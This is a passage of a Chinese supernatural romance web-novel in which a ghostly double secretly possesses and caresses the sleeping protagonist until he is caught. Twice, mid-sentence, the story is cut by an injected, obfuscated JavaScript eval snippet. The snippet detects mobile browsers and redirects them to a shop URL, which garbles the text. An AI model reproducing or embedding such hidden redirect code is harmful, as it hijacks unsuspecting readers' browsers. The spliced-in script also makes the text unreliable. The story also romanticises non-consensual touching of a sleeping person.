他眉眼锋利,沉下脸时很显凶,对方似乎被吓了一跳,缩了缩脖子,陈亦临莫名其妙看了他一眼,低头将钥匙插进了锁眼里,再转身时那个男生已经消失不见。 像鬼一样。 陈亦临甩上门,把脸盆放到阳台,把顺手洗完的内裤和袜子晾到了衣架上,出去接了盆水,打算把换下来的运动裤和卫衣洗了。 洗衣粉是柠檬香味的,和“陈亦临”身上的味道有一点儿像,他使劲闻了两下,搬了个小凳子长腿长脚地把脸盆夹在中间,一边吹着口哨一边搓起了衣服。 过了三遍水,他使劲甩了甩衣服挂起来,转身的时候拖鞋底一滑,他眼疾手快地抓住了旁边的柜子边,险险直起了身子,在原地站了两秒后狐疑地转过头,却只看见空荡荡的阳台。 刚才好像有一股无形的力量托了他的肩胛骨一下,陈亦临反手摸了摸后背,像……手? “……陈亦临?”他试探地喊了一声。 空荡荡的房间里无人回应,一道温热的气息若有似无地从他的耳梢掠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635823|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,紧接着消失不见。 陈亦临抬起手,飞快地在掌心画下符咒,然而熟悉的眩晕感并没有传来,他再次睁开眼,依旧在宿舍里面。 为什么失效了? 陈亦临沉默,甩了甩手上的水,打开桌子上的台灯开始看书,只是他有些心不在焉,盯着台灯上【有志者事竟成】的贴纸走神,不知道是谁写上的,字体很漂亮……符咒失笑是“陈亦临”发生什么事情了……明天早上要吃什么……李经理说要涨工资这个月能多发两百块钱…… 眼皮逐渐发沉,他垂下头,抵着胳膊睡了过去。 一道身影缓缓在他身后显露,半透明的虚影俯身将下巴搁在他的肩膀上,饶有兴趣地看着桌子上的课本。 “看了这么久怎么还在看合集?”“陈亦临”低声笑道,“陈亦临,你是笨蛋吗?” 趴在桌子上熟睡的人没有回答。 他用脸颊轻轻蹭了蹭陈亦临的耳朵后坐了下来,与陈亦临完全重合在一起,只是两个人保持着这个姿势睡觉实在太累,他坐了片刻后,操控着陈亦临的左手,轻轻托住了陈亦临的右脸颊,将陈亦临的脑袋往外挪了一下。 如果有人在这里,就会看见这极其诡异的一幕,熟睡中的少年自己伸出手摸着自己的脸颊,动作缓慢而轻柔地摩挲着,而他本人却浑然不知。 “临临,和我去床上睡。”“陈亦临”不轻不重地掐了一下他的脸颊肉。 陈亦临猛地惊醒,一脸懵地看着眼前的书本,右脸隐隐作痛,他低头看了一眼厚厚的课本,找到了罪魁祸首,又勉强看了一页书之后实在扛不住汹涌而来的困意,果断熄灯爬到了暖和的被窝里。 印着卡通小狗的棉被似乎被什么透明的东西撑开,陈亦临被挤得往墙边挪了挪,旁边的枕头塌陷进去了一小块,陈亦临身上的被子鼓起来一点,身上的卫衣像被透明的胳膊搂紧,迫使他翻了个身。 后背传来了温热柔软的触感,而且越挤越紧,陈亦临被挤得有点烦,在睡梦中叹了口气。 “陈亦临”操控着他的右手摸到了他的左脸颊,趴在他肩膀上轻飘飘出声:“临临,我的心都被你伤透了,在我消气之前,你别想见到我。” 陈亦临皱了皱眉。 “陈亦临”像是发现了什么新玩具,控制着他的手,轻轻地抚摸过陈亦临的五官,划过他温热的喉结,又乐此不疲地扯开他的卫衣领口摸了摸他的锁骨。 陈亦临迷迷糊糊间觉得有人在摸自己,但触感又说不出的熟悉,那只手逐渐变得越来越过分,慢慢伸进了卫衣里面,他艰难地睁开眼睛,好像看见了自己的脸:“陈亦临?” 那张脸倏然消失不见,手掌搭在了他的肚子上,过了好几秒他才反应过来那是自己的爪子,他拧着眉挠了挠肚子,翻过身把被子抱进了怀里,意识再次变得模糊。 “砰砰砰!” 门外的走廊灯突然亮了起来。 陈亦临被惊醒,外面再次传来敲门声,他从床上爬起来去开门,浑身的肌肉像发高烧之后酸胀,尤其是两只手麻得厉害,像不是自己的。 “闻主任?”他有些惊讶地看着来人。 闻经纶像是也愣了一下:“不好意思,今天轮到我值班查寝,忘了是你住在这里。” “没事。”陈亦临克制着打了个哈欠,脚边忽然传来了一阵毛茸茸的触感,他低下头,就看见一只很小的狸花猫,仰起脑袋喵喵地冲他叫了两声,他惊讶地蹲下来,“这里怎么会有猫?” “我养的。”闻经纶说。 陈亦临更惊讶了,伸出手去让小猫闻自己的手指:“能摸吗?” “当然。”闻经纶的视线掠过他,看向他身后的房间,缓缓皱起了眉。 大量粘稠的、色彩斑斓的絮状物漂浮在空气中,几乎把实物的影子湮没,他沉下目光搜寻,最后停留在了陈亦临的床上。 陈亦临睡眼惺忪地摸着小猫,猫猫十分亲人,歪着头蹭他的手指,还舔了他一下,他正要起身,小猫却突然炸毛,冲着他身后哈了口气,下一秒直接飞跃而起,撞开阳台的窗户跳了出去。 “跑了。”闻经纶低声道。 “是不是得追回来?”陈亦临吓了一跳,跑到窗户前往楼下看去,虽然这是二楼不算高,但小猫跳下去也可能受伤。 “不用,它都跳习惯了,等会就回来。”闻经纶看向他,“你脸色有些差,多注意休息。” 陈亦临点了点头:“好的闻主任。” “继续睡吧。”闻经纶给他带过了门,在关门的一刹那,他不着痕迹地将一道符纸塞进了门框的缝隙里,房间内漂浮的絮状物瞬间消散。 陈亦临身上的疲惫感轻了不少,他滚回被子里,然后就被熟悉的青柠香气包裹。 “?”他低头将脸埋进了被子里,深深地吸了一口,有点疑惑地舔了舔发痒的犬齿。 是“陈亦临”的味道。 18.再见 陈亦临这一觉睡得天昏地暗,醒来后感到了久违的轻松。他伸了个懒腰,抱住被子将头埋了进去,又恹恹地坐起来,趿拉着拖鞋抱上脸盆去洗漱。 没有“陈亦临”的味道了。 遗憾的是接下来好几天,他都没有再闻到那股熟悉的青柠味,不过也发生了更好的事情——第二个月的工资终于发了下来,整整一千四百块钱。 “太棒了,晚上去吃烧烤搓一顿?”高博乐热情地邀请他。 “我就不去了。”陈亦临把钱塞进书包里。 “等你送完饭回来再吃,不着急。”高博乐以为他怕耽误送饭的事情。 “不是这个,我还有其他事儿。”陈亦临背起书包一蹦仨台阶,“乐哥,走了啊!” “嘿。”高博乐笑了一声,“这闹腾劲儿。” 陈亦临直奔超市。 给李叔买箱牛奶,给闻主任买兜子水果,给宿管阿姨买些点心……他在心里盘算着要花多少钱,路过文体区的时候忽然停下了脚步。 一支钢笔摆在陈列架上,通体漆黑的外壳看不出材质,但笔身细长圆润,拿在手里也沉甸甸的,很有质感。 低头看价格标签——七十九块九。 “……”陈亦临默默将钢笔放回原位。 抢钱呐。 趁时间还早,他把水果和点心分别送到了闻经纶的办公室和魏阿姨的值班室,前者有些意外,后者喜笑颜开,他又马不停蹄拎着牛奶和饭盒来了医院。 有个陌生男人站在病房外,个子挺高,二十来岁,留着一头侧分的半长发,穿着机车夹克和工装裤,脚上的铆钉靴格外惹眼,看起来很潮。 陈亦临抬头看了一眼病房号,确认没走错才推开门:“李叔,我今天发——” 话说一半他就收了声。 病房里站着个十七八岁的女孩儿,穿着和外面男人同款的夹克和靴子,灰蓝色的长头发也很潮流,她声音冷淡:“让我来我也来了,赶紧给我打钱。” 坐在病床上的李建民脸色铁青。 邻床的老头儿出去做检查了,这会儿病房里只有李建民和女孩儿,门外的男人走到门口,不耐烦地催促:“恬恬,我们该走了。” 陈亦临夹在中间,一时进退两难。 “我还给你打钱!”李建民突然激动,他愤怒地指着那个男人,“你小小年纪不学好,跟社会上这些不三不四的人混能有什么好下场?李恬,你不上学你还能干什么啊我问你,你现在这样对得起谁?” 李恬声音抬高:“你管不着我!” “我是你爸!我不管你谁管你?!”李建民气得浑身发抖,“你妈要是看到你这样——” “你少提我妈!”李恬愤怒地打断了他的话,尖锐的声音里带上了哭腔,“要不是你非想要个儿子,我妈能难产死了吗!你不配提她!” 李建民瞬间像被掐住了嗓子,凹陷的眼眶慢慢变红:“那是……” 李恬崩溃的哭声在病房里蔓延开来:“你装可怜给谁看啊?你害死了我妈,这个世界上我最恨的人就是你!你现在死了才最好!” 李建民苍白的嘴唇蠕动了两下,颓然地塌下了肩膀。 “好了恬恬,别哭了,我们走吧。”男人终于等得不耐烦,走进来揽住了她的肩膀,把人带出了病房。 陈亦临看向病床上发愣的李建民:“李叔。” 李建民像是突然惊醒,他抹了把脸,冲陈亦临露出了个带着歉意的笑容:“不好意思啊小陈,刚才让你看笑话了。” 陈亦临摇了摇头:“那是您女儿?” “对。”李建民沉默了一会儿,哑着嗓子说,“其实以前恬恬挺乖的,初中的时候学习特别好,后来她妈妈出了事……她受的打击太大,也可能是叛逆期,她平时不这样,说的都是些气话。” “没事,小孩儿都这样,一阵一阵的。”陈亦临打开饭盒把菜盛出来。 李建民笑道:“你也不大,怎么口气和个老大爷一样?” 陈亦临叹了口气:“还成吧,之前我还跟着乐哥管宋叔喊了一个月的哥呢。” 李建民叹气:“别跟着小高学,这孩子有点缺心眼儿,喊谁都瞎喊。” 陈亦临把筷子递给他。 李建民吃了两口就放下了筷子,陈亦临想劝又不知道怎么开口,匆匆扒了饭去水房洗碗,回来的时候听见了门内传出来压抑的哭声。 他松开了门把手,端着碗靠在了墙上。 “在这里罚站干嘛?”庞郭刚吃完饭回来,见他杵在这儿有点纳闷。 陈亦临天天来送饭,跟这层的医生和护士都混了个脸熟,加上庞郭本来就和李建民有亲戚关系,俩人现在也挺熟。 陈亦临端着碗说:“站这儿消消食。” “你还挺养生。”庞郭脚步一顿,听见了哭声,愣了愣才转头问他,“是不是李恬来过了?” “嗯,吵架了。”陈亦临说,“庞医生,要不你进去劝劝吧。” 庞郭叹了口气:“这事儿没法劝,我也没办法嘛。” “因为李叔想要儿子?”陈亦临觉得这种想法不对,但又不知道该怎么表述。 “嗐,不是这回事儿。”庞郭显然知晓内情,低声说道,“当时婶子是意外怀孕,夫妻俩当时都没想要,结果查出来是双胞胎,各项指标非常健康,婶子三十多岁年纪也不大,医生就建议他们留下,当时李叔的工作有了起色,养三个孩子没问题,两个人商量要不就生下来,后来的产检也是一路绿灯……” 无论怎么看,都会是很圆满的结局。 “但生产时羊水栓塞,婶子没下来手术台,俩孩子抢救了两个星期,前后脚没的,一对龙凤胎。” 陈亦临愣住。 “恬恬当时年纪小,有些碎嘴子亲戚就瞎传,说李叔是为了要儿子害死的老婆。”庞郭叹气,“但当时他们都不知道孩子是男是女,单纯舍不得俩孩子,只能说造化弄人。” 陈亦临透过门口的玻璃看向李建民,眼前忽然模糊了一瞬,紧接着就看见病房中弥漫着灰黑相间的絮状物,几乎要将李建民整个人都湮没。 “李叔!”他猛地推开门跑了进去。 庞郭吓了一跳,追着他进来,正在拿卫生纸擤鼻涕的李建民茫然抬头:“咋了?” 粘稠的絮状物又消失不见,陈亦临尴尬地张了张嘴,情急之下指着买的那箱牛奶:“你要不要喝个牛奶?” 李建民:“?” “一惊一乍的吓死我了。”庞郭挺着大肚子追着进来,累得直喘气。 陈亦临不好意思地笑了笑,李建民见状也笑了起来:“行,给我一盒吧。” 他顿时松了一口气,还热情地塞给了庞郭一个,庞郭莫名其妙地追着他进来,又莫名其妙地揣着牛奶走了。 陈亦临磨磨蹭蹭没走,警惕地看着周围,但那灰黑色的絮状物再也没有出现过,李建民看不下去赶他:“小陈,快十点了,回去休息吧。” 陈亦临欲言又止。 “真没事,恬恬是我女儿,我再生气也不能真和自己的孩子生气。”李建民无奈道,“快回吧,明天还要上班。” 陈亦临这才回到了学校。 晚上十点半,宿舍已经开始陆陆续续熄灯,他伸手去掏钥匙,总觉得不对劲,一转头,果然看见了前几天戴眼镜的那个男生。 凉意一下子从后背蹿上来,陈亦临瞪着他,恶声恶气道:“操,你什么毛病?” 老在背后盯着人。 男生被吼得缩了缩脖子,陈亦临将钥匙往兜里一揣,抄起了门口的棍子。 男生吓得拔腿就跑,陈亦临神色狠戾地甩了一下棍子:“别让老子再看见你,操!” 棍子砸在铁门上发出了恐怖的声响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642398|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人开门探出头来看热闹,陈亦临扫了他们一眼,低头打开了门,顺便将棍子拎进了屋里——他把这根棍子放门口好几天,就等着这货现身,管他是人是鬼,“陈亦临”还怕消防斧呢。 想起消失的“陈亦临”,他又有点郁闷。 之前在闻经纶办公室,郑恒身上是红色紫色相间的絮状物,今天李建民身上是灰黑相间的絮状物,一次可以说是眼花,但他前前后后看到了三次,而且李叔身上的絮状物要比郑恒多得多……到底是什么鬼东西? 不知道为什么,他总觉得“陈亦临”会知道。 可他已经一个星期没见到人了。 墙上挂着的镜子映照出他的脸,也映照出了门框缝隙里隐约可见的那点黄色。 陈亦临伸手,将符纸抽了出来——虽然闻经纶趁他转头时塞得动作很迅速,但他在镜子里看得一清二楚。 淡黄色的符纸被叠成了三角的形状,展开后是朱红色的颜料画的复杂的符咒,他没事的时候研究了好几次,最后发现跟“陈亦临”教给他的那道符咒很像,奇怪的是符纸右下角印着一个类似“X”的符号,或者更像左右对称的两个“C”。 他捏着那张符纸观摩了许久,摸出了打火机。 灰烬安静地落在地板上,黑暗中似乎有东西踩了上去,发出了细微的声响。 床上的人睡得正熟。 若隐若现的虚影在床边堪堪站定,低着头目光阴郁地盯着陈亦临,半晌,他俯身下来,摸了摸陈亦临温热的脸颊。 “临临,好久不见。” 睡梦中的人皱了皱眉,翻了个身背对着他。 “陈亦临”笑了笑,熟门熟路地躺在了床上,他伸手搂住陈亦临的腰,将脸埋在他的后颈上,低声解释道:“我这几天有点忙,没办法来看你,都怪你不听话。” 被他抱住的人呼吸均匀,身体在他的怀里有细微的起伏。 “陈亦临”知道他不会醒,放肆地加大了力道,将自己的胳膊慢慢“融”进了陈亦临的胳膊里,他用陈亦临的手拽了拽被子,搂着陈亦临说:“以后洗衣服的时候小心一点儿,那天要是我不在的话你就摔倒了,你都没有谢谢我。” 他还要邀功。 哪怕陈亦临不回答,他也毫不在意,将怀里的人越搂越紧,身影逐渐和陈亦临融合,他纳闷道:“不过你洗完澡为什么这么爱挂空档,不会觉得不舒服吗?生活习惯真差。” 他还要批评。 最后他伸手帮陈亦临拽了拽腰间松垮的运动裤,无奈道:“买件睡衣吧临临。” …… “你不说话实在没意思。”他操控着陈亦临的身体折腾了半天,无聊地拍了拍他的肚子,“不过今天有很大进展了,睡觉吧。” 他还要总结。 一夜好眠,天刚蒙蒙亮,“陈亦临”准时苏醒,从陈亦临的身体里坐了起来,他低头看着又凝固了些许的身体,眼底流露出几分满意的神色,临走前还不忘给陈亦临掖好被子,最后还是没忍住,用陈亦临的手去摸陈亦临的脸——这样手感更加真实,他很喜欢陈亦临身上和自己一模一样的体温。 陈亦临不舒服地歪了歪头。 他饶有趣味地弯下腰,托住陈亦临的下巴笑着询问:“真乖,今天晚上还想不想见我?” 问完,按着陈亦临的头点了两下,表示同意。 他顿时心情大好,奖励似的拍了拍陈亦临的脸,抬手准备画符,下一秒忽然被人掐住了脖子。 “陈亦临”愣住,顺着那只手的力道慢慢抬起了头。 原本不该醒来的人艰难半睁着眼睛,声音微弱而沙哑:“抓住你了。” 晨光熹微,北风呼啸,玻璃上雾气凝结成的水珠流向窗台,空气中弥漫着夜晚积攒的暖意,符纸燃烧后的灰烬盘旋飘起又轻轻落下。 “陈亦临”缓缓笑出了声。